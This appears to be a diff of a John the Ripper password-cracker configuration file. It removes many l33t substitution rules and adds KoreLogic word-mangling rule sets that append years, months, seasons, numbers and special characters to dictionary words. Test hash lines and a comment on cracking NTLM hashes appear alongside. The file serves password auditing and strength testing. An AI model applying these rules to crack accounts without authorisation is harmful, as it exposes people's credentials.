-/3s3e/0s0O[:c]
-/3s3e/4s4a[:c]
-/3s3e/4s4A[:c]
-/3s3e/5s5s[:c]
-/3s3e/5s5S[:c]
-/3s3e/7s7l[:c]
-/3s3e/7s7L[:c]
-/3s3e/8s8b[:c]
-/3s3e/8s8B[:c]
-/3s3E/asa@[:c]
-/3s3E/asa4[:c]
-/3s3E/AsA4[:c]
-/3s3E/AsA@[:c]
-/3s3E/bsb8[:c]
-/3s3E/BsB8[:c]
-/3s3E/ese3[:c]
-/3s3E/EsE3[:c]
-/3s3E/isi1[:c]
-/3s3E/isi![:c]
-/3s3E/isi|[:c]
-/3s3E/IsI1[:c]
-/3s3E/IsI![:c]
-/3s3E/IsI|[:c]
-/3s3E/lsl1[:c]
-/3s3E/lsl7[:c]
-/3s3E/lsl|[:c]
-/3s3E/lsl![:c]
-/3s3E/Lsl1[:c]
-/3s3E/Lsl7[:c]
-/3s3E/Lsl|[:c]
-/3s3E/Lsl![:c]
-/3s3E/oso0[:c]
-/3s3E/OsO0[:c]
-/3s3E/sss$[:c]
-/3s3E/sss5[:c]
-/3s3E/SsS$[:c]
-/3s3E/SsS5[:c]
-/3s3E/tst+[:c]
-/3s3E/TsT+[:c]
-/3s3E/1s1![:c]
-/3s3E/1s1i[:c]
-/3s3E/1s1I[:c]
-/3s3E/1s1|[:c]
-/3s3E/0s0o[:c]
-/3s3E/0s0O[:c]
-/3s3E/4s4a[:c]
-/3s3E/4s4A[:c]
-/3s3E/5s5s[:c]
-/3s3E/5s5S[:c]
-/3s3E/7s7l[:c]
-/3s3E/7s7L[:c]
-/3s3E/8s8b[:c]
-/3s3E/8s8B[:c]
-/4s4a/asa@[:c]
-/4s4a/asa4[:c]
-/4s4a/AsA4[:c]
-/4s4a/AsA@[:c]
-/4s4a/bsb8[:c]
-/4s4a/BsB8[:c]
-/4s4a/ese3[:c]
-/4s4a/EsE3[:c]
-/4s4a/isi1[:c]
-/4s4a/isi![:c]
-/4s4a/isi|[:c]
-/4s4a/IsI1[:c]
-/4s4a/IsI![:c]
-/4s4a/IsI|[:c]
-/4s4a/lsl1[:c]
-/4s4a/lsl7[:c]
-/4s4a/lsl|[:c]
-/4s4a/lsl![:c]
-/4s4a/Lsl1[:c]
-/4s4a/Lsl7[:c]
-/4s4a/Lsl|[:c]
-/4s4a/Lsl![:c]
-/4s4a/oso0[:c]
-/4s4a/OsO0[:c]
-/4s4a/sss$[:c]
-/4s4a/sss5[:c]
-/4s4a/SsS$[:c]
-/4s4a/SsS5[:c]
-/4s4a/tst+[:c]
-/4s4a/TsT+[:c]
-/4s4a/1s1![:c]
-/4s4a/1s1i[:c]
-/4s4a/1s1I[:c]
-/4s4a/1s1|[:c]
-/4s4a/0s0o[:c]
-/4s4a/0s0O[:c]
-/4s4a/3s3e[:c]
-/4s4a/3s3E[:c]
-/4s4a/5s5s[:c]
-/4s4a/5s5S[:c]
-/4s4a/7s7l[:c]
-/4s4a/7s7L[:c]
-/4s4a/8s8b[:c]
-/4s4a/8s8B[:c]
-/4s4A/asa@[:c]
-/4s4A/asa4[:c]
-/4s4A/AsA4[:c]
-/4s4A/AsA@[:c]
-/4s4A/bsb8[:c]
-/4s4A/BsB8[:c]
-/4s4A/ese3[:c]
-/4s4A/EsE3[:c]
-/4s4A/isi1[:c]
-/4s4A/isi![:c]
-/4s4A/isi|[:c]
-/4s4A/IsI1[:c]
-/4s4A/IsI![:c]
-/4s4A/IsI|[:c]
-/4s4A/lsl1[:c]
-/4s4A/lsl7[:c]
-/4s4A/lsl|[:c]
-/4s4A/lsl![:c]
-/4s4A/Lsl1[:c]
-/4s4A/Lsl7[:c]
-/4s4A/Lsl|[:c]
-/4s4A/Lsl![:c]
-/4s4A/oso0[:c]
-/4s4A/OsO0[:c]
-/4s4A/sss$[:c]
-/4s4A/sss5[:c]
-/4s4A/SsS$[:c]
-/4s4A/SsS5[:c]
-/4s4A/tst+[:c]
-/4s4A/TsT+[:c]
-/4s4A/1s1![:c]
-/4s4A/1s1i[:c]
-/4s4A/1s1I[:c]
-/4s4A/1s1|[:c]
-/4s4A/0s0o[:c]
-/4s4A/0s0O[:c]
-/4s4A/3s3e[:c]
-/4s4A/3s3E[:c]
-/4s4A/5s5s[:c]
-/4s4A/5s5S[:c]
-/4s4A/7s7l[:c]
-/4s4A/7s7L[:c]
-/4s4A/8s8b[:c]
-/4s4A/8s8B[:c]
-/5s5s/asa@[:c]
-/5s5s/asa4[:c]
-/5s5s/AsA4[:c]
-/5s5s/AsA@[:c]
-/5s5s/bsb8[:c]
-/5s5s/BsB8[:c]
-/5s5s/ese3[:c]
-/5s5s/EsE3[:c]
-/5s5s/isi1[:c]
-/5s5s/isi![:c]
-/5s5s/isi|[:c]
-/5s5s/IsI1[:c]
-/5s5s/IsI![:c]
-/5s5s/IsI|[:c]
-/5s5s/lsl1[:c]
-/5s5s/lsl7[:c]
-/5s5s/lsl|[:c]
-/5s5s/lsl![:c]
-/5s5s/Lsl1[:c]
-/5s5s/Lsl7[:c]
-/5s5s/Lsl|[:c]
-/5s5s/Lsl![:c]
-/5s5s/oso0[:c]
-/5s5s/OsO0[:c]
-/5s5s/sss$[:c]
-/5s5s/sss5[:c]
-/5s5s/SsS$[:c]
-/5s5s/SsS5[:c]
-/5s5s/tst+[:c]
-/5s5s/TsT+[:c]
-/5s5s/1s1![:c]
-/5s5s/1s1i[:c]
-/5s5s/1s1I[:c]
-/5s5s/1s1|[:c]
-/5s5s/0s0o[:c]
-/5s5s/0s0O[:c]
-/5s5s/3s3e[:c]
-/5s5s/3s3E[:c]
-/5s5s/4s4a[:c]
-/5s5s/4s4A[:c]
-/5s5s/7s7l[:c]
-/5s5s/7s7L[:c]
-/5s5s/8s8b[:c]
-/5s5s/8s8B[:c]
-/5s5S/asa@[:c]
-/5s5S/asa4[:c]
-/5s5S/AsA4[:c]
-/5s5S/AsA@[:c]
-/5s5S/bsb8[:c]
-/5s5S/BsB8[:c]
-/5s5S/ese3[:c]
-/5s5S/EsE3[:c]
-/5s5S/isi1[:c]
-/5s5S/isi![:c]
-/5s5S/isi|[:c]
-/5s5S/IsI1[:c]
-/5s5S/IsI![:c]
-/5s5S/IsI|[:c]
-/5s5S/lsl1[:c]
-/5s5S/lsl7[:c]
-/5s5S/lsl|[:c]
-/5s5S/lsl![:c]
-/5s5S/Lsl1[:c]
-/5s5S/Lsl7[:c]
-/5s5S/Lsl|[:c]
-/5s5S/Lsl![:c]
-/5s5S/oso0[:c]
-/5s5S/OsO0[:c]
-/5s5S/sss$[:c]
-/5s5S/sss5[:c]
-/5s5S/SsS$[:c]
-/5s5S/SsS5[:c]
-/5s5S/tst+[:c]
-/5s5S/TsT+[:c]
-/5s5S/1s1![:c]
-/5s5S/1s1i[:c]
-/5s5S/1s1I[:c]
-/5s5S/1s1|[:c]
-/5s5S/0s0o[:c]
-/5s5S/0s0O[:c]
-/5s5S/3s3e[:c]
-/5s5S/3s3E[:c]
-/5s5S/4s4a[:c]
-/5s5S/4s4A[:c]
-/5s5S/7s7l[:c]
-/5s5S/7s7L[:c]
-/5s5S/8s8b[:c]
-/5s5S/8s8B[:c]
-/7s7l/asa@[:c]
-/7s7l/asa4[:c]
-/7s7l/AsA4[:c]
-/7s7l/AsA@[:c]
-/7s7l/bsb8[:c]
-/7s7l/BsB8[:c]
-/7s7l/ese3[:c]
-/7s7l/EsE3[:c]
-/7s7l/isi1[:c]
-/7s7l/isi![:c]
-/7s7l/isi|[:c]
-/7s7l/IsI1[:c]
-/7s7l/IsI![:c]
-/7s7l/IsI|[:c]
-/7s7l/lsl1[:c]
-/7s7l/lsl7[:c]
-/7s7l/lsl|[:c]
-/7s7l/lsl![:c]
-/7s7l/Lsl1[:c]
-/7s7l/Lsl7[:c]
-/7s7l/Lsl|[:c]
-/7s7l/Lsl![:c]
-/7s7l/oso0[:c]
-/7s7l/OsO0[:c]
-/7s7l/sss$[:c]
-/7s7l/sss5[:c]
-/7s7l/SsS$[:c]
-/7s7l/SsS5[:c]
-/7s7l/tst+[:c]
-/7s7l/TsT+[:c]
-/7s7l/1s1![:c]
-/7s7l/1s1i[:c]
-/7s7l/1s1I[:c]
-/7s7l/1s1|[:c]
-/7s7l/0s0o[:c]
-/7s7l/0s0O[:c]
-/7s7l/3s3e[:c]
-/7s7l/3s3E[:c]
-/7s7l/4s4a[:c]
-/7s7l/4s4A[:c]
-/7s7l/5s5s[:c]
-/7s7l/5s5S[:c]
-/7s7l/8s8b[:c]
-/7s7l/8s8B[:c]
-/7s7L/asa@[:c]
-/7s7L/asa4[:c]
-/7s7L/AsA4[:c]
-/7s7L/AsA@[:c]
-/7s7L/bsb8[:c]
-/7s7L/BsB8[:c]
-/7s7L/ese3[:c]
-/7s7L/EsE3[:c]
-/7s7L/isi1[:c]
-/7s7L/isi![:c]
-/7s7L/isi|[:c]
-/7s7L/IsI1[:c]
-/7s7L/IsI![:c]
-/7s7L/IsI|[:c]
-/7s7L/lsl1[:c]
-/7s7L/lsl7[:c]
-/7s7L/lsl|[:c]
-/7s7L/lsl![:c]
-/7s7L/Lsl1[:c]
-/7s7L/Lsl7[:c]
-/7s7L/Lsl|[:c]
-/7s7L/Lsl![:c]
-/7s7L/oso0[:c]
-/7s7L/OsO0[:c]
-/7s7L/sss$[:c]
-/7s7L/sss5[:c]
-/7s7L/SsS$[:c]
-/7s7L/SsS5[:c]
-/7s7L/tst+[:c]
-/7s7L/TsT+[:c]
-/7s7L/1s1![:c]
-/7s7L/1s1i[:c]
-/7s7L/1s1I[:c]
-/7s7L/1s1|[:c]
-/7s7L/0s0o[:c]
-/7s7L/0s0O[:c]
-/7s7L/3s3e[:c]
-/7s7L/3s3E[:c]
-/7s7L/4s4a[:c]
-/7s7L/4s4A[:c]
-/7s7L/5s5s[:c]
-/7s7L/5s5S[:c]
-/7s7L/8s8b[:c]
-/7s7L/8s8B[:c]
-/8s8b/asa@[:c]
-/8s8b/asa4[:c]
-/8s8b/AsA4[:c]
-/8s8b/AsA@[:c]
-/8s8b/bsb8[:c]
-/8s8b/BsB8[:c]
-/8s8b/ese3[:c]
-/8s8b/EsE3[:c]
-/8s8b/isi1[:c]
-/8s8b/isi![:c]
-/8s8b/isi|[:c]
-/8s8b/IsI1[:c]
-/8s8b/IsI![:c]
-/8s8b/IsI|[:c]
-/8s8b/lsl1[:c]
-/8s8b/lsl7[:c]
-/8s8b/lsl|[:c]
-/8s8b/lsl![:c]
-/8s8b/Lsl1[:c]
-/8s8b/Lsl7[:c]
-/8s8b/Lsl|[:c]
-/8s8b/Lsl![:c]
-/8s8b/oso0[:c]
-/8s8b/OsO0[:c]
-/8s8b/sss$[:c]
-/8s8b/sss5[:c]
-/8s8b/SsS$[:c]
-/8s8b/SsS5[:c]
-/8s8b/tst+[:c]
-/8s8b/TsT+[:c]
-/8s8b/1s1![:c]
-/8s8b/1s1i[:c]
-/8s8b/1s1I[:c]
-/8s8b/1s1|[:c]
-/8s8b/0s0o[:c]
-/8s8b/0s0O[:c]
-/8s8b/3s3e[:c]
-/8s8b/3s3E[:c]
-/8s8b/4s4a[:c]
-/8s8b/4s4A[:c]
-/8s8b/5s5s[:c]
-/8s8b/5s5S[:c]
-/8s8b/7s7l[:c]
-/8s8b/7s7L[:c]
-/8s8B/asa@[:c]
-/8s8B/asa4[:c]
-/8s8B/AsA4[:c]
-/8s8B/AsA@[:c]
-/8s8B/bsb8[:c]
-/8s8B/BsB8[:c]
-/8s8B/ese3[:c]
-/8s8B/EsE3[:c]
-/8s8B/isi1[:c]
-/8s8B/isi![:c]
-/8s8B/isi|[:c]
-/8s8B/IsI1[:c]
-/8s8B/IsI![:c]
-/8s8B/IsI|[:c]
-/8s8B/lsl1[:c]
-/8s8B/lsl7[:c]
-/8s8B/lsl|[:c]
-/8s8B/lsl![:c]
-/8s8B/Lsl1[:c]
-/8s8B/Lsl7[:c]
-/8s8B/Lsl|[:c]
-/8s8B/Lsl![:c]
-/8s8B/oso0[:c]
-/8s8B/OsO0[:c]
-/8s8B/sss$[:c]
-/8s8B/sss5[:c]
-/8s8B/SsS$[:c]
-/8s8B/SsS5[:c]
-/8s8B/tst+[:c]
-/8s8B/TsT+[:c]
-/8s8B/1s1![:c]
-/8s8B/1s1i[:c]
-/8s8B/1s1I[:c]
-/8s8B/1s1|[:c]
-/8s8B/0s0o[:c]
-/8s8B/0s0O[:c]
-/8s8B/3s3e[:c]
-/8s8B/3s3E[:c]
-/8s8B/4s4a[:c]
-/8s8B/4s4A[:c]
-/8s8B/5s5s[:c]
-/8s8B/5s5S[:c]
-/8s8B/7s7l[:c]
-/8s8B/7s7L[:c]
-# These are some popular triple/quad l33t rules
-/asa4/ese3/lsl1[:c]
-/asa4/ese3/oso0[:c]
-/asa4/ese3/sss$[:c]
-/asa4/lsl1/oso0[:c]
-/asa4/lsl1/sss$[:c]
-/asa4/oso0/sss$[:c]
-/ese3/lsl1/oso0[:c]
-/ese3/lsl1/sss$[:c]
-/ese3/oso0/sss$[:c]
-/lsl1/oso0/sss$[:c]
-/asa4/ese3/lsl1/oso0[:c]
-/asa4/ese3/lsl1/sss$[:c]
-/asa4/ese3/oso0/sss$[:c]
-/asa4/lsl1/oso0/sss$[:c]
-/ese3/lsl1/oso0/sss$[:c]
-/asa4/ese3/lsl1/oso0/sss$[:c]
-
-
-
# Case toggler for cracking MD4-based NTLM hashes (with the contributed patch)
# given already cracked DES-based LM hashes.
@@ -3845,3 +1524,499 @@ Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4
Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking
Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3
+
+[List.Rules:KoreLogicRules]
+
+;[List.Rules:KoreLogicRulesPrependNumNum]
+-[c:] \p[c:] A0"[0-9][0-9]"
+
+;[List.Rules:KoreLogicRulesPrependYears]
+A0"20[0-1][0-9]"
+A0"19[3-9][0-9]"
+
+# Notice: Your wordlist should likely be all lowercase - or you are wasting work
+;[List.Rules:KoreLogicRulesAppendYears]
+-[c:] \p[c:] Az"19[0-9][0-9]" <+
+-[c:] \p[c:] Az"20[01][0-9]" <+
+
+;[List.Rules:KoreLogicRulesPrependNumNumNum]
+-[c:] \p[c:] A0"[0-9][0-9][0-9]"
+
+;[List.Rules:KoreLogicRulesMonthsFullPreface]
+-[:c] A0"\p[jJ]anuary"
+-[:c] A0"\p[fF]ebruary"
+-[:c] A0"\p[mM]arch"
+-[:c] A0"\p[aA]pril"
+-[:c] A0"\p[mM]ay"
+-[:c] A0"\p[jJ]uner"
+-[:c] A0"\p[jJ]uly"
+-[:c] A0"\p[aA]ugust"
+-[:c] A0"\p[sS]eptember"
+-[:c] A0"\p[oO]ctober"
+-[:c] A0"\p[nN]ovember"
+-[:c] A0"\p[dD]ecember"
+
+;[List.Rules:KoreLogicRulesPrepend4LetterMonths]
+## Preface each dictionary with Janu janu Febr febr
+-[:c] A0"\p[jJ]anu"
+-[:c] A0"\p[fF]ebr"
+-[:c] A0"\p[mM]arc"
+-[:c] A0"\p[aA]pr"
+-[:c] A0"\p[mM]ay"
+-[:c] A0"\p[jJ]une"
+-[:c] A0"\p[jJ]uly"
+-[:c] A0"\p[Aa]ugu"
+-[:c] A0"\p[sS]ept"
+-[:c] A0"\p[oO]cto"
+-[:c] A0"\p[nN]ove"
+-[:c] A0"\p[Dd]ece"
+
+# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic
+;[List.Rules:KoreLogicRulesPrependSeason]
+A0"[Ss$][uU][mM][mM][eE3][rR]"
+A0"[Ww][iI|][nN][tT+][eE3][rR]"
+A0"[Ff][aA][lL][lL]"
+A0"[Ss][pP][rR][iI][nN][gG]"
+A0"[Aa][uU][tT][uU][mM][nN]"
+
+# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic
+;[List.Rules:KoreLogicRulesAppendSeason]
+<* Az"[Ss$][uU][mM][mM][eE3][rR]"
+<* Az"[Ww][iI|][nN][tT+][eE3][rR]"
+<* Az"[Ff][aA][lL][lL]"
+<* Az"[Ss][pP][rR][iI][nN][gG]"
+<* Az"[Aa][uU][tT][uU][mM][nN]"
+
+;[List.Rules:KoreLogicRulesPrependHello]
+A0"[hH][eE][lL][lL][oO0]"
+
+# Notice how we
+# 1) do caps first b/c they are more common in 'complex' environments
+# 2) Do !$@#%. first b/c they are the most common special chars
+;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial]
+-[c:] \p[c:] Az"201[0-9][!$@#%.]" <+
+-[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesPrependSpecialSpecial]
+-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+
+;[List.Rules:KoreLogicRulesAppend2Letters]
+<- Az"[a-z][a-z]"
+-c <- Az"[A-Z][A-Z]"
+-c <- Az"[a-z][A-Z]"
+-c <- Az"[A-Z][a-z]"
+
+# Append numbers - but limit the total length.
+;[List.Rules:KoreLogicRulesAddJustNumbers]
+-[c:] <* >1 \p[c:] $[0-9]
+-[c:] <* >1 \p[c:] ^[0-9]
+-[c:] <- >1 \p[c:] Az"[0-9][0-9]"
+-[c:] <- >1 \p[c:] A0"[0-9][0-9]"
+-[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+
+# Redundant with KoreLogicRulesAppend4Num
+;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesDevProdTestUAT]
+-\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l]
+-\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l]
+-\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l]
+-\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l]
+
+;[List.Rules:KoreLogicRulesPrependAndAppendSpecial]
+-[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
+
+# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num
+;[List.Rules:KoreLogicRulesAppendJustNumbers]
+;-[c:] <* \p[c:] $[0-9]
+;-[c:] <- \p[c:] Az"[0-9][0-9]"
+;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+
+;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple]
+# cap first letter then add a 0 2 6 9 ! * to the end
+-[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
+# cap first letter then add a special char - THEN a number !0 %9 !9 etc
+-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q
+# Cap the first letter - then add 0? 0! 5_ .. 9!
+## add NUMBER then SPECIAL 1! .. 9?
+-[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+## Add Number Number Special
+;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+## Add Special Number Number
+;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
+# Add 100! ... 999! to the end
+;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesAppendJustSpecials]
+-[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
+-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+
+;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere]
+<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]"
+<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]"
+<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]"
+<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]"
+<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]"
+<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]"
+<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]"
+<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]"
+<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]"
+<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]"
+
+# this will add the string '2010' at all places in the word:
+# USE this with a 4 or 5 char dictionary file with ALL characters
+# soo abcde will become
+# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010
+;[List.Rules:KoreLogicRulesAdd2010Everywhere]
+<* >\r[00123456789] A\p[z0-9]"201[0-9]"
+
+;[List.Rules:KoreLogicRulesAdd1234_Everywhere]
+<* >\r[00123456789] A\p[z0-9]"1234"
+
+;[List.Rules:KoreLogicRulesAppendMonthDay]
+-[:c] <* Az"\p[jJ]anuary"
+-[:c] Az"\p[jJ]anuary[0-9]" <+
+-[:c] Az"\p[jJ]anuary[0-9][0-9]" <+
+-[:c] <* Az"\p[fF]ebruary"
+-[:c] Az"\p[fF]ebruary[0-9]" <+
+-[:c] Az"\p[fF]ebruary[0-9][0-9]" <+
+-[:c] Az"\p[mM]arch"
+-[:c] Az"\p[mM]arch[0-9]" <+
+-[:c] Az"\p[mM]arch[0-9][0-9]" <+
+-[:c] <* Az"\p[aA]pril"
+-[:c] Az"\p[aA]pril[0-9]" <+
+-[:c] Az"\p[aA]pril[0-9][0-9]" <+
+-[:c] <* Az"\p[mM]ay"
+-[:c] Az"\p[mM]ay[0-9]" <+
+-[:c] Az"\p[mM]ay[0-9][0-9]" <+
+-[:c] <* Az"\p[jJ]une"
+-[:c] Az"\p[jJ]une[0-9]" <+
+# There was a typo in Kore's original revision of this rule
+-[:c] Az"\p[jJ]une[0-9][0-9]" <+
+-[:c] <* Az"\p[jJ]uly"
+-[:c] Az"\p[jJ]uly[0-9]" <+
+-[:c] Az"\p[jJ]uly[0-9][0-9]" <+
+-[:c] <* Az"\p[aA]ugust"
+-[:c] Az"\p[aA]ugust[0-9]" <+
+-[:c] Az"\p[aA]ugust[0-9][0-9]" <+
+-[:c] <* Az"\p[sS]eptember"
+-[:c] Az"\p[sS]eptember[0-9]" <+
+# There was a typo in Kore's original revision of this rule
+-[:c] Az"\p[sS]eptember[0-9][0-9]" <+
+-[:c] <* Az"\p[oO]ctober"
+-[:c] Az"\p[oO]ctober[0-9]" <+
+-[:c] Az"\p[oO]ctober[0-9][0-9]" <+
+-[:c] <* Az"\p[nN]ovember"
+-[:c] Az"\p[nN]ovember[0-9]" <+
+-[:c] Az"\p[nN]ovember[0-9][0-9]" <+
+-[:c] <* Az"\p[dD]ecember"
+-[:c] Az"\p[dD]ecember[0-9]" <+
+-[:c] Az"\p[dD]ecember[0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppendMonthCurrentYear]
+-[:c] <* Az"\p[jJ]an201[0-9]"
+-[:c] <* Az"\p[fF]eb201[0-9]"
+-[:c] <* Az"\p[mM]ar201[0-9]"
+-[:c] <* Az"\p[aA]pr201[0-9]"
+-[:c] <* Az"\p[mM]ay201[0-9]"
+-[:c] <* Az"\p[jJ]un201[0-9]"
+-[:c] <* Az"\p[jJ]ul201[0-9]"
+-[:c] <* Az"\p[Aa]ug201[0-9]"
+-[:c] <* Az"\p[sS]ep201[0-9]"
+-[:c] <* Az"\p[oO]ct201[0-9]"
+-[:c] <* Az"\p[nN]ov201[0-9]"
+-[:c] <* Az"\p[Dd]ec201[0-9]"
+
+;[List.Rules:KoreLogicRulesReplaceNumbers2Special]
+/[1-90] s\0\p[!@#$%^&*()]
+/1 /[2-90] s1! s\0\p[@#$%^&*()]
+/2 /[3-90] s2@ s\0\p[#$%^&*()]
+/3 /[4-90] s3# s\0\p[$%^&*()]
+/4 /[5-90] s4$ s\0\p[%^&*()]
+/5 /[6-90] s5% s\0\p[^&*()]
+/6 /[7-90] s6^ s\0\p[&*()]
+/7 /[890] s7& s\0\p[*()]
+/8 /[90] s8* s\0\p[()]
+/9 /0 s9( s0)
+
+;[List.Rules:KoreLogicRulesReplaceNumbers]
+/0 s0[1-9]
+/1 s1[02-9]
+/2 s2[013-9]
+/3 s3[0-24-9]
+/4 s4[0-35-9]
+/5 s5[0-46-9]
+/6 s6[0-57-9]
+/7 s7[0-68-9]
+/8 s8[0-79]
+/9 s9[0-8]
+# 10 lines above can be replaced with just one:
+# /[0-9] s\0[0-9] Q
+# but it's slower (generates, then rejects some duplicates).
+
+# This is a lamer/faster version of --rules:nt
+;[List.Rules:KoreLogicRulesReplaceLettersCaps]
+-c /[a-z] s\0\p[A-Z]
+
+;[List.Rules:KoreLogicRulesAddDotCom]
+-[c:] <- \p[c:] Az".com"
+-[c:] <- \p[c:] Az".net"
+-[c:] <- \p[c:] Az".org"
+
+;[List.Rules:KoreLogicRulesPrependJustSpecials]
+-[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
+-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+
+;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere]
+-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1
+-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1
+
+;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere]
+# This should probably use $[02-9] since we try $1 in
+# KoreLogicRulesAppend1_AddSpecialEverywhere
+-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9]
+-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9]
+
+;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere]
+-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+
+-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere]
+-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+
+-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere]
+-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+
+-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+
+-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+
+-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+
+
+# This rule needs work actually --- you have to 'sort -u' its output rick
+# /a = reject if it doesnt have an 'a'
+# the [:c] does waste some effort - and generate dupes. This is wasteful,
+# but I want to keep it in b/c the original crack/JtR rules use it.
+;[List.Rules:KoreLogicRulesL33t]
+-[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q]
+# The following line differs from Kore's erroneous 4 lines:
+-[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q]
+#/Lsl1[:c]
+#/Lsl7[:c]
+#/Lsl|[:c]
+#/Lsl![:c]
+-[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# Full set (same as above, but on one line):
+#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# Double substitutions start here.
+# Compared to Kore's, we check for both chars first, then replace both.
+# This produces different results from Kore's, which would replace all
+# instances of the first char before checking for the second.
+# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a"
+# on the line below, and ditto for further lines.
+-[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# Kore had these (probably unintentionally, so we don't duplicate them):
+#/asa4/4s4a[:c]
+#/asa4/4s4A[:c]
